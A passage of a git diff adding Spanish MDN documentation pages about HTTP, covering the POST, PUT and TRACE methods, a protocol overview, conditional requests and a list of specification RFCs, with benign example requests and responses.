Cuando la solicitud POST es enviada por otro método distinto a un formulario HTML  — por ejemplo mediante una {{domxref("XMLHttpRequest")}} — el cuerpo puede aceptar cualquier tipo. Como se describe en la especificación HTTP 1.1, el método POST está diseñado para permitir un método uniforme que cubra las siguientes funciones:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Pedir como cuerpoSí
Respuesta válida como cuerpoSí
{{Glossary("Seguro")}}No
{{Glossary("Idempotente")}}No
{{Glossary("Cacheable")}}Sólo si incluye nueva información
Permitido en HTML formsSí
+ +

Sintaxis

+ +
POST /index.html
+
+ +

Ejemplo

+ +

Un formulario simple empleando el tipo de contenido por defecto application/x-www-form-urlencoded:

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Un formulario usando el tipo de contenido multipart/form-data:

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ + + + + +

{{Compat("http.methods.POST")}}

+ +

Ver también

+ + + +
diff --git a/files/es/web/http/methods/put/index.html b/files/es/web/http/methods/put/index.html new file mode 100644 index 0000000000..9dc13c4b10 --- /dev/null +++ b/files/es/web/http/methods/put/index.html @@ -0,0 +1,100 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - HTTP + - Método HTTP + - Petición +translation_of: Web/HTTP/Methods/PUT +--- +
{{HTTPSidebar}}
+ +

La petición HTTP PUT crea un nuevo elemento o reemplaza una representación del elemento de destino con los datos de la petición.

+ +

La diferencia entre el método PUT y el método {{HTTPMethod("POST")}} es que PUT es un método idempotente: llamarlo una o más veces de forma sucesiva tiene el mismo efecto (sin efectos secundarios), mientras que una sucesión de peticiones POST idénticas pueden tener efectos adicionales, como envíar una orden varias veces.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Petición con cuerpoSí
Respuesta (correcta) con cuerpoNo
{{Glossary("Seguro")}}No
{{Glossary("Idempotente")}}Yes
{{Glossary("Cacheable")}}No
Permitido en HTML formsNo
+ +

Sintaxis

+ +
PUT /nuevo.html HTTP/1.1
+
+ +

Ejemplos

+ +

Petición

+ +
PUT /nuevo.html HTTP/1.1
+Host: ejemplo.com
+Content-type: text/html
+Content-length: 16
+
+<p>Nuevo Archivo</p>
+ +

Respuestas

+ +

Si el elemento de destino no existe y la petición PUT lo crea de forma satisfactoria, entonces el servidor debe informar al usuario enviando una respuesta {{HTTPStatus("201")}} (Created) .

+ +
HTTP/1.1 201 Created
+Content-Location: /nuevo.html
+ +

Si el elemento existe actualmente y es modificado de forma satisfactoria, entonces el servidor de origen debe enviar una respuesta {{HTTPStatus("200")}} (OK) o una respuesta {{HTTPStatus("204")}} (No Content) para indicar que la modificación del elemento se ha realizado sin problemas.

+ +
HTTP/1.1 204 No Content
+Content-Location: /existente.html
+
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "PUT", "4.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ + + + + +

{{Compat("http.methods.PUT")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/methods/trace/index.html b/files/es/web/http/methods/trace/index.html new file mode 100644 index 0000000000..015d430a66 --- /dev/null +++ b/files/es/web/http/methods/trace/index.html @@ -0,0 +1,75 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +translation_of: Web/HTTP/Methods/TRACE +--- +
{{HTTPSidebar}}
+ +

El método HTTP TRACE  efectua una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging.

+ +

El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body e una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de  message/http. El destinatario final es o el servidor de origen o el priver servidor en recivir un {{httpheader("Max-Forwards")}} de valor 0 en la petición.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Request has bodyNo
Successful response has bodyNo
{{Glossary("Safe")}}No
{{Glossary("Idempotent")}}Yes
{{Glossary("Cacheable")}}No
Allowed in HTML formsNo
+ +

Sintaxis

+ +
TRACE /index.html
+
+ +

Especificaciones

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad con Buscadores 

+ + + +

{{Compat("http.methods.TRACE")}}

+ +

Ver también

+ + + +

 

diff --git a/files/es/web/http/overview/index.html b/files/es/web/http/overview/index.html new file mode 100644 index 0000000000..5c1b057346 --- /dev/null +++ b/files/es/web/http/overview/index.html @@ -0,0 +1,172 @@ +--- +title: Generalidades del protocolo HTTP +slug: Web/HTTP/Overview +tags: + - HTML + - HTTP + - Mecánica Web + - Visión general +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el nombre de un protocolo el cual nos permite realizar una petición de datos y recursos, como pueden ser documentos {{glossary("HTML")}}. Es la base de cualquier intercambio de datos en la Web, y un protocolo de estructura cliente-servidor, esto quiere decir que una petición de datos es iniciada por el elemento que recibirá los datos (el cliente), normalmente un navegador Web. Así, una página web completa resulta de la unión de distintos sub-documentos recibidos, como, por ejemplo: un documento que especifique el estilo de maquetación de la página web ({{glossary("CSS")}}), el texto, las imágenes, vídeos, scripts, etc...    

+ +

A Web document is the composition of different resources

+ +

Clientes y servidores se comunican intercambiando mensajes individuales (en contraposición a las comunicaciones que utilizan flujos continuos de datos). Los mensajes que envía el cliente, normalmente un navegador Web, se llaman peticiones, y los mensajes enviados por el servidor se llaman respuestas.

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Diseñado a principios de la década de 1990, {{glossary("HTTP")}} es un protocolo ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce como un protocolo de la capa de aplicación, y se transmite sobre el protocolo {{glossary("TCP")}}, o el protocolo encriptado {{glossary("TLS")}}, aunque teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que es un protocolo capaz de ampliarse, se usa no solo para transmitir documentos de hipertexto ({{glossary("HTML")}}), si no que además, se usa para transmitir imágenes o vídeos, o enviar datos o contenido a los servidores, como en el caso de los formularios de datos. {{glossary("HTTP")}} puede incluso ser utilizado para transmitir partes de documentos, y actualizar páginas Web en el acto.

+ +

Arquitectura de los sistemas basados en  HTTP 

+ +

{{glossary("HTTP")}} es un protocolo basado en el principio de cliente-servidor: las peticiones son enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir datos de su estructura y contenido para uso de un buscador de Internet.

+ +

Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre cada petición y respuesta, hay varios intermediarios, normalmente denominados {{glossary("Proxy_server", "proxies")}}, los cuales realizan distintas funciones, como: gateways o {{glossary("Cache", "caches")}}. 

+ +

Client server chain

+ +

En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona su petición: hay otros tipos de dispositivos: como routers, modems ... Es gracias a la arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y al servidor, ya que {{glossary("HTTP")}} se apoya en los protocolos de red y transporte. {{glossary("HTTP")}} es un protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición del protocolo {{glossary("HTTP")}} . 

+ +

Cliente: el agente del usuario

+ +

El agente del usuario, es cualquier herramienta que actué en representación del usuario. Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay excepciones, como el caso de programas específicamente usados por desarrolladores para desarrollar y depurar sus aplicaciones.

+ +

El navegador es siempre el que inicia una comunicación (petición), y el servidor nunca la comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales).  

+ +

Para poder mostrar una página Web, el navegador envía una petición de documento {{glossary("HTML")}} al servidor. Entonces procesa este documento, y envía más peticiones para solicitar scripts, hojas de estilo ({{glossary("CSS")}}), y otros datos que necesite (normalmente vídeos y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la página Web en consecuencia. 

+ +

Una página Web, es un documento de hipertexto ({{glossary("HTTP")}}), luego habrá partes del texto en la página que puedan ser enlaces ({{glossary("link","links")}}) que pueden ser activados (normalmente al hacer click sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al usuario la página Web que desea.

+ +

El servidor Web

+ +

Al otro lado del canal de comunicación, está el servidor, el cual "sirve" los datos que ha pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u otros programas, que gestionan otros computadores (como cache, bases de datos, servidores de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido. 

+ +

Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1 y {{HTTPHeader("Host")}} , pueden incluso compartir la misma dirección de IP.

+ +

Proxies

+ +

Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de transporte, capa de red o capa física, siendo así transparentes para la capa de comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones que pasan por ellos), y realizan varias funciones: 

+ + + +

Características clave del protocolo HTTP

+ +

HTTP es sencillo

+ +

Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las personan que empieza a trabajar con él.

+ +

HTTP es extensible

+ +

Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse, sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras de HTTP.

+ +

HTTP es un protocolo con sesiones, pero sin estados

+ +

HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de "cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de comunicación.

+ +

HTTP y conexiones

+ +

Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo sustenta mantenga una conexión continua entre los participantes en la comunicación, solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP, no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a conexión, aunque una conexión continua no es necesaria siempre. 

+ +

En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto sería más eficiente si se mandaran varios mensajes.

+ +

Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el 'pipelining'  y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del protocolo HTTP/2  fue más allá y usa multiplexación de mensajes sobre un única conexión, siendo así una comunicación más eficiente.

+ +

Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado con QUIC, que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y eficiencia de la comunicación. 

+ +

¿Qué se puede controlar con HTTP?

+ +

La característica del protocolo HTTP de ser ampliable, ha permitido que durante su desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web: caché o métodos de identificación o autentificación fueron temas que se abordaron pronto en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en los años de la década de 2010.

+ +

Se presenta a continuación una lista con los elementos que se pueden controlar con el protocolo HTTP:

+ + + +

Flujo de HTTP

+ +

Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a través de un proxy intermedio, realiza los siguientes pasos:

+ +
    +
  1. Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias, y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una existente, o abrir varias a la vez hacia el servidor.
    2. +
  2. Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el principio de operación es el mismo. + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Leer la respuesta enviada por el servidor: + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
    4. +
  4. Cierre o reuso de la conexión para futuras peticiones.
    5. +
+ +

Si está activado el HTTP pipelining, varias peticiones pueden enviarse sin tener que esperar que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar en las redes de computadores actuales, donde se mezclan software antiguos y modernos. Así que el HTTP pipelining  ha sido substituido en HTTP/2 por el multiplexado de varias peticiones en una sola trama

+ +

Mensajes HTTP

+ +

En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes HTTP/2 en el formato de HTTP/1.1.

+ +

Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio formato.

+ +

Peticiones

+ +

Un ejemplo de petición HTTP:

+ +

A basic HTTP request

+ +

Una petición de HTTP, está formado  por los siguientes campos:

+ + + +

Respuestas

+ +

Un ejemplo de repuesta:

+ +

+ +

Las respuestas están formadas por los siguentes campos:

+ + + +

Conclusión

+ +

El protocólo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor, junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las nuevas y futuras aplicaciones en Internet.

+ +

Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y puede ser fácilmente estudiado e investigado con un simple monitor de mensajes HTTP.

diff --git a/files/es/web/http/peticiones_condicionales/index.html b/files/es/web/http/peticiones_condicionales/index.html new file mode 100644 index 0000000000..c480c68ee2 --- /dev/null +++ b/files/es/web/http/peticiones_condicionales/index.html @@ -0,0 +1,148 @@ +--- +title: Peticiones condicionales en HTTP +slug: Web/HTTP/Peticiones_condicionales +tags: + - Guía + - HTTP + - Peticiones condicionales +translation_of: Web/HTTP/Conditional_requests +--- +

{{HTTPSidebar}}

+ +

HTTP tiene un concepto de peticiones condicionales, donde el resultado, e incluso el éxito de una petición, se puede cambiar comparando los recursos afectados con el valor de un validador. Dichas peticiones pueden ser útiles para validar el contenido de un caché, y evitar un control inútil, para verificar la integridad de un documento, como al reanudar una descarga, o al evitar perder actualizaciones al cargar o modificar un documento en el servidor.

+ +

Principios

+ +

Las peticiones condicionales HTTP son peticiones que se ejecutan de manera diferente, dependiendo del valor de encabezados específicos. Estos encabezados definen una condición previa, y el resultado de la petición será diferente si la condición previa coincide o no.

+ +

Los diferentes comportamientos están definidos por el método de petición utilizado y por el conjunto de encabezados utilizados para una condición previa:

+ + + +

Validadores

+ +

Todos los encabezados condicionales intentan verificar si el recurso almacenado en el servidor coincide con una versión específica. Para lograr esto, las peticiones condicionales deben indicar la versión del recurso. Como la comparación de todo el recurso byte a byte es impracticable, y no siempre lo que se desea, la petición transmite un valor que describe la versión. Tales valores se llaman validadores y son de dos tipos:

+ + + +

Comparar versiones del mismo recurso es un poco complicado: según el contexto, hay dos tipos de controles de igualdad:

+ + + +

El tipo de validación es independiente del validador utilizado. Ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} permiten ambos tipos de validación, aunque la complejidad para implementarlo en el lado del servidor puede variar. HTTP utiliza la validación fuerte de forma predeterminada, y especifica cuándo se puede usar una validación débil.

+ +

Validación fuerte

+ +

La validación sólida consiste en garantizar que el recurso es, byte a byte, idéntico al que se compara. Esto es obligatorio para algunos encabezados condicionales, y el predeterminado para los demás. La validación sólida es muy estricta y puede ser difícil garantizarla a nivel del servidor, pero garantiza que no se pierdan datos en ningún momento, a veces a expensas del rendimiento.

+ +

Es bastante difícil tener un identificador único para una validación fuerte con {{HTTPHeader("Last-Modified")}}. A menudo, esto se hace usando una {{HTTPHeader("ETag")}} con el hash MD5 del recurso (o un derivado).

+ +

Validación débil

+ +

La validación débil difiere de la validación fuerte, ya que considera dos versiones del documento como idénticas si el contenido es equivalente. Por ejemplo, una página que diferiría de otra solo por una fecha diferente en su pie de página, o una publicidad diferente, se consideraría idéntica a la otra con validación débil. Estas dos versiones iguales se consideran diferentes cuando se usa una validación fuerte. Construir un sistema de etags que cree una validación débil puede ser complejo, ya que implica conocer la importancia de los diferentes elementos de una página, pero es muy útil para optimizar el rendimiento del caché.

+ +

Encabezados condicionales

+ +

Varios encabezados HTTP, llamados encabezados condicionales, conducen a peticiones condicionales. Estos son:

+ +
+
{{HTTPHeader("If-Match")}}
+
Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es igual a una que se encuentra en este encabezado. Por defecto, a menos que el etag tenga el prefijo 'W/', realiza una validación fuerte.
+
{{HTTPHeader("If-None-Match")}}
+
Tiene éxito si la {{HTTPHeader("ETag")}} del recurso remoto es diferente a cada una de las enumeradas en este encabezado. Por defecto, a menos que el etag tenga el prefijo 'W/', realiza una validación fuerte.
+
{{HTTPHeader("If-Modified-Since")}}
+
Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más reciente que la dada en este encabezado.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Tiene éxito si la fecha {{HTTPHeader("Last-Modified")}} del recurso remoto es más antigua que la dada en este encabezado.
+
{{HTTPHeader("If-Range")}}
+
Similar a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, pero sólo puede tener una etag, o una fecha. Si falla, la petición de rango falla, y en lugar de una respuesta {{HTTPStatus("206")}} Partial Content , se envía un {{HTTPStatus("200")}} OK con el recurso completo.
+
+ +

Casos de uso

+ +

Actualización de caché

+ +

El caso de uso más común para las peticiones condicionales es la actualización de un caché. Con un caché vacío, o sin un caché, el recurso solicitado se devuelve con un estado {{HTTPStatus("200")}} OK.

+ +

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

+ +

Junto con el recurso, los validadores se envían en los encabezados. En este ejemplo, ambos {{HTTPHeader("Last-Modified")}} y {{HTTPHeader("ETag")}} son enviados, pero igualmente podría haber sido solo uno de ellos. Estos validadores se almacenan en caché con el recurso (como todos los encabezados) y se utilizarán para elaborar peticiones condicionales, una vez que el caché se vuelva obsoleto.

+ +

Mientras la memoria caché no esté obsoleta, no se emitirá ninguna petición. Pero una vez se haya vuelto obsoleta, esto se controla principalmente por el encabezado {{HTTPHeader("Cache-Control")}}, el cliente no usa el valor en caché directamente, pero emite una petición condicional. El valor del validador se utiliza como parámetro de los encabezados {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}}.

+ +

Si el recurso no ha cambiado, el servidor envía una respuesta {{HTTPStatus("304")}} Not Modified. Esto hace que la caché se actualice nuevamente, y el cliente usa el recurso almacenado en caché. Aunque hay una respuesta/petición de ida y vuelta que consume algunos recursos, esto es más eficiente que transmitir de nuevo todo el recurso a través del cable.

+ +

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

+ +

Si el recurso ha cambiado, el servidor simplemente envía una respuesta {{HTTPStatus("200")}} OK, con la nueva versión del recurso, como si la petición no fuera condicional y el cliente usara este nuevo recurso (y lo almacena en caché).

+ +

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

+ +

Además de la configuración de los validadores en el lado del servidor, este mecanismo es transparente: todos los navegadores administran una memoria caché y envían dichas peticiones condicionales sin que los desarrolladores web realicen ningún trabajo especial.

+ +

Integridad de una descarga parcial

+ +

La descarga parcial de archivos es una funcionalidad de HTTP que permite reanudar operaciones previas, ahorrando tiempo y ancho de banda, manteniendo la información ya obtenida:

+ +

A download has been stopped and only partial content has been retrieved.

+ +

Un servidor que admite descargas parciales transmite esto enviando el encabezado {{HTTPHeader("Accept-Ranges")}}. Una vez que esto sucede, el cliente puede reanudar una descarga enviando un encabezado {{HTTPHeader("Ranges")}} con los rangos ausentes:

+ +

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

+ +

El principio es simple, pero hay un problema potencial: si el recurso descargado se modificó entre ambas descargas, los rangos obtenidos corresponderán a dos versiones diferentes del recurso y el documento final estará corrupto.

+ +

Para evitar esto, se utilizan peticiones condicionales. Para los rangos, hay dos formas de hacer esto. El más flexible hace uso de {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Match")}} y el servidor devuelve un error si la precondición falla, entonces el cliente reinicia la descarga desde el principio:

+ +

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

+ +

Incluso si este método funciona, agrega un intercambio adicional de respuesta / petición cuando el documento ha sido cambiado. Esto altera el rendimiento, y HTTP tiene un encabezado específico para evitar este escenario: {{HTTPHeader("If-Range")}}:

+ +

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

+ +

Esta solución es más eficiente, pero ligeramente menos flexible, ya que solo se puede usar una etag en la condición. Rara vez se necesita flexibilidad adicional.

+ +

Evitar el problema de actualización perdida con bloqueo optimista

+ +

Una operación común en aplicaciones web es actualizar un documento remoto. Esto es muy común en cualquier sistema de archivos o aplicaciones de control de origen, pero cualquier aplicación que permita almacenar recursos remotos necesita tal mecanismo. Los sitios web comunes, como los wikis y otros CMS, tienen tal necesidad.

+ +

Con el método {{HTTPMethod("PUT")}} eres capaz de implementarlo. El cliente primero lee los archivos originales, los modifica y finalmente los envía al servidor:

+ +

Updating a file with a PUT is very simple when concurrency is not involved.

+ +

Desafortunadamente, las cosas se vuelven un poco inexactas cuando tenemos en cuenta la concurrencia. Mientras un cliente modifica localmente su nueva copia del recurso, un segundo cliente puede obtener el mismo recurso y hacer lo mismo con su copia. Lo que sucede a continuación es muy desafortunado: cuando se devuelven al servidor, las modificaciones del primer cliente son descartadas por la inserción del siguiente cliente, ya que este segundo cliente desconoce los cambios del primer cliente en el recurso. La decisión sobre quién gana, no se comunica a la otra parte. De qué cliente se deberán mantener los cambios, variará con la velocidad a la que se realicen, esto depende del rendimiento de los clientes, del servidor e incluso de la edición humana del documento en el cliente. El ganador cambiará de una vez a la siguiente. Esta es una condición de carrera y conduce a comportamientos problemáticos, que son difíciles de detectar y depurar:

+ +

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

+ +

No hay manera de lidiar con este problema sin molestar a uno de los dos clientes. Sin embargo, se deben evitar las actualizaciones perdidas y las condiciones de la carrera. Queremos resultados predecibles y esperamos que se notifique a los clientes cuando se rechacen sus cambios.

+ +

Las peticiones condicionales permiten implementar el algoritmo de bloqueo optimista (utilizado por la mayoría de las wikis o sistemas de control de fuente). El concepto es permitir que todos los clientes obtengan copias del recurso, luego permitirles modificarlo localmente, controlando la concurrencia al permitir que el primer cliente envíe una actualización. Todas las actualizaciones posteriores, basadas en la versión ahora obsoleta del recurso, se rechazan:

+ +

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

+ +

Esto se implementa utilizando el encabezado {{HTTPHeader("If-Match")}} o {{HTTPHeader("If-Unmodified-Since")}}. Si la etag no coincide con el archivo original, o si el archivo ha sido modificado desde que se obtuvo, el cambio simplemente se rechaza con un error {{HTTPStatus("412")}} Precondition Failed. Depende entonces del cliente lidiar con el error: ya sea notificando al usuario que vuelva a comenzar (esta vez en la versión más reciente) o mostrándole al usuario una diferencia entre ambas versiones, Ayudándoles a decidir qué cambios desean mantener.

+ +

Tratar con la primera subida de un recurso.

+ +

La primera subida de un recurso es un caso similar al anterior. Como cualquier actualización de un recurso, está sujeta a una condición de carrera si dos clientes intentan realizarla en tiempos similares. Para evitar esto, se pueden utilizar peticiones condicionales: añadiendo el encabezado {{HTTPHeader("If-None-Match")}} con el valor especial '*', representando cualquier etag. La petición sólo tendrá éxito si el recurso no existía antes:

+ +

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

+ +

If-None-Match solo funcionará con servidores compatibles con HTTP/1.1 (y posteriores). Si no está seguro de que el servidor sea compatible, primero debe emitir una petición {{HTTPMethod("HEAD")}} al recurso para comprobarlo.

+ +

Conclusión

+ +

Las peticiones condicionales son una característica clave de HTTP y permiten la creación de aplicaciones eficientes y complejas. Para almacenar en caché o reanudar las descargas, el único trabajo requerido para los webmasters es configurar el servidor correctamente, establecer etags correctas en algunos entornos puede ser complicado. Una vez logrado, el navegador atenderá las peticiones condicionales esperadas.

+ +

Para los mecanismos de bloqueo, ocurre lo contrario: los desarrolladores web deben emitir una petición con los encabezados adecuados, mientras que los webmasters pueden confiar en la aplicación para realizar las comprobaciones correspondientes.

+ +

En ambos casos está claro, las peticiones condicionales son una característica fundamental de la Web.

diff --git a/files/es/web/http/recursos_y_especificaciones/index.html b/files/es/web/http/recursos_y_especificaciones/index.html new file mode 100644 index 0000000000..0c36d6e3e6 --- /dev/null +++ b/files/es/web/http/recursos_y_especificaciones/index.html @@ -0,0 +1,262 @@ +--- +title: Recursos y especificaciones de HTTP +slug: Web/HTTP/recursos_y_especificaciones +translation_of: Web/HTTP/Resources_and_specifications +--- +
{{HTTPSidebar}}
+ +

HTTP se especificó por primera vez a principios de los 90s. Diseñado con extensibilidad en mente, ha visto numerosas adiciones a lo largo de los años; esto lleva a que su especificación se disemine a través de númerosos documentos (en medio de extensiones experimentales abandonadas). Esta página presenta una lista de los recursos relevantes sobre HTTP:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationTitleStatus
{{rfc(7230)}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and RoutingProposed Standard
{{rfc(7231)}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentProposed Standard
{{rfc(7232)}}Hypertext Transfer Protocol (HTTP/1.1): Conditional RequestsProposed Standard
{{rfc(7233)}}Hypertext Transfer Protocol (HTTP/1.1): Range RequestsProposed Standard
{{rfc(7234)}}Hypertext Transfer Protocol (HTTP/1.1): CachingProposed Standard
{{rfc(5861)}}HTTP Cache-Control Extensions for Stale ContentInformational
{{rfc(8246)}}HTTP Immutable ResponsesProposed Standard
{{rfc(7235)}}Hypertext Transfer Protocol (HTTP/1.1): AuthenticationProposed Standard
{{rfc(6265)}}HTTP State Management Mechanism
+ Defines Cookies		Proposed Standard
Draft specCookie PrefixesIETF Draft
Draft specSame-Site CookiesIETF Draft
Draft specDeprecate modification of 'secure' cookies from non-secure originsIETF Draft
{{rfc(2145)}}Use and Interpretation of HTTP Version NumbersInformational
{{rfc(6585)}}Additional HTTP Status CodesProposed Standard
{{rfc(7538)}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)Proposed Standard
{{rfc(7725)}}An HTTP Status Code to Report Legal ObstaclesOn the standard track
{{rfc(2397)}}The "data" URL schemeProposed Standard
{{rfc(3986)}}Uniform Resource Identifier (URI): Generic SyntaxInternet Standard
{{rfc(5988)}}Web Linking
+ Defines the {{HTTPHeader("Link")}} header		Proposed Standard
Experimental specHypertext Transfer Protocol (HTTP) Keep-Alive HeaderInformational (Expired)
Draft specHTTP Client HintsIETF Draft
